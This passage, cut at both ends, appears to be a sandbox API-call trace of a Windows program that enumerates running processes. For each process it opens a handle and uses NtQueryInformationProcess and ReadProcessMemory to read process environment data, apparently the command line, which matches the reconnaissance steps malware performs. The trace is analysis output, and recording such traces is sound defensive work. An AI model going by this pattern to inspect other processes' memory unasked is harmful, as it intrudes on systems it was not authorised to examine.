ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.452] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.452] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a9020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.452] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5815b0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.452] malloc (_Size=0x1c) returned 0xecd3f0 [0192.452] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x581c42, lpBuffer=0xecd3f0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd3f0*, lpNumberOfBytesRead=0x0) returned 1 [0192.452] free (_Block=0xecd3f0) [0192.452] CloseHandle (hObject=0x414) returned 1 [0192.453] _ui64tow_s (in: _Value=0x264, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="612") returned 0x0 [0192.453] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="612") returned 3 [0192.453] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.453] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.454] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x264) returned 0x0 [0192.454] CloseHandle (hObject=0x0) returned 0 [0192.455] _ui64tow_s (in: _Value=0x26c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="620") returned 0x0 [0192.455] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="620") returned 3 [0192.455] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.455] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.456] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x26c) returned 0x414 [0192.456] GetLastError () returned 0x0 [0192.456] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.456] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x245018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.456] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.456] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403b00, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.456] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403758, lpBuffer=0x104c5a0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.457] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.457] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.457] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x245020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.457] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403110, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.457] malloc (_Size=0x3e) returned 0xea8420 [0192.457] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403794, lpBuffer=0xea8420, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8420*, lpNumberOfBytesRead=0x0) returned 1 [0192.459] free (_Block=0xea8420) [0192.459] CloseHandle (hObject=0x414) returned 1 [0192.460] _ui64tow_s (in: _Value=0x2cc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="716") returned 0x0 [0192.461] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="716") returned 3 [0192.461] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.461] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.462] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x414 [0192.463] GetLastError () returned 0x0 [0192.463] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.463] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xd14018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.463] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.463] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xf923a0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.464] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xf92058, lpBuffer=0x104c5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.464] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.464] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.465] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xd14020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.465] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xf91a10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.465] malloc (_Size=0x26) returned 0xecd150 [0192.465] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xf920a0, lpBuffer=0xecd150, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd150*, lpNumberOfBytesRead=0x0) returned 1 [0192.466] free (_Block=0xecd150) [0192.466] CloseHandle (hObject=0x414) returned 1 [0192.470] _ui64tow_s (in: _Value=0x2d4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="724") returned 0x0 [0192.470] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="724") returned 3 [0192.471] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.471] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0x414 [0192.472] GetLastError () returned 0x0 [0192.472] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.472] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x83d018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.472] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.472] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xae23a0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.472] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xae2058, lpBuffer=0x104c5a0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.473] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.473] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.473] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x83d020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.473] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xae1a10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.473] malloc (_Size=0x26) returned 0xecd870 [0192.473] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0xae20a0, lpBuffer=0xecd870, nSize=0x24, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xecd870*, lpNumberOfBytesRead=0x0) returned 1 [0192.474] free (_Block=0xecd870) [0192.474] CloseHandle (hObject=0x414) returned 1 [0192.474] _ui64tow_s (in: _Value=0x310, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="784") returned 0x0 [0192.474] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="784") returned 3 [0192.475] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.475] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.475] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x310) returned 0x414 [0192.476] GetLastError () returned 0x0 [0192.476] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.476] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x285018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.476] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.476] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403cc0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.476] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403928, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.476] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.476] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.477] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x285020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.477] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4032e0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.477] malloc (_Size=0x64) returned 0xeb6230 [0192.477] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403968, lpBuffer=0xeb6230, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0192.478] free (_Block=0xeb6230) [0192.478] CloseHandle (hObject=0x414) returned 1 [0192.478] _ui64tow_s (in: _Value=0x340, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="832") returned 0x0 [0192.478] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="832") returned 3 [0192.479] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.479] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.479] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x340) returned 0x414 [0192.480] GetLastError () returned 0x0 [0192.480] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.480] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c5018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.480] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.480] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d50, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.480] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039b8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.480] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.480] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.481] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c5020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.481] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403370, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.481] malloc (_Size=0x5a) returned 0xeb6700 [0192.481] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039f8, lpBuffer=0xeb6700, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0192.482] free (_Block=0xeb6700) [0192.482] CloseHandle (hObject=0x414) returned 1 [0192.483] _ui64tow_s (in: _Value=0x398, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="920") returned 0x0 [0192.483] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="920") returned 3 [0192.483] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.483] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.484] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x398) returned 0x414 [0192.484] GetLastError () returned 0x0 [0192.484] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.484] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2cb018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.485] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.485] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e2260, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.485] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e1f38, lpBuffer=0x104c5a0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.485] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.485] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.485] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2cb020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.485] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e18f0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.486] malloc (_Size=0x16) returned 0xec9c20 [0192.486] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e1f70, lpBuffer=0xec9c20, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9c20*, lpNumberOfBytesRead=0x0) returned 1 [0192.486] free (_Block=0xec9c20) [0192.486] CloseHandle (hObject=0x414) returned 1 [0192.486] _ui64tow_s (in: _Value=0x10c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="268") returned 0x0 [0192.487] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="268") returned 3 [0192.487] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.487] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.488] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c) returned 0x414 [0192.488] GetLastError () returned 0x0 [0192.488] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.488] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x224018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.488] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.488] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d60, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.488] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.488] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.489] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.489] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x224020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.489] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.489] malloc (_Size=0x7a) returned 0xe879d0 [0192.489] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xe879d0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe879d0*, lpNumberOfBytesRead=0x0) returned 1 [0192.490] free (_Block=0xe879d0) [0192.490] CloseHandle (hObject=0x414) returned 1 [0192.490] _ui64tow_s (in: _Value=0x8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0192.490] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="8") returned 1 [0192.491] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.491] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.491] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x414 [0192.492] GetLastError () returned 0x0 [0192.492] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.492] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x30b018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.492] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.492] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403cc0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.492] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403928, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: 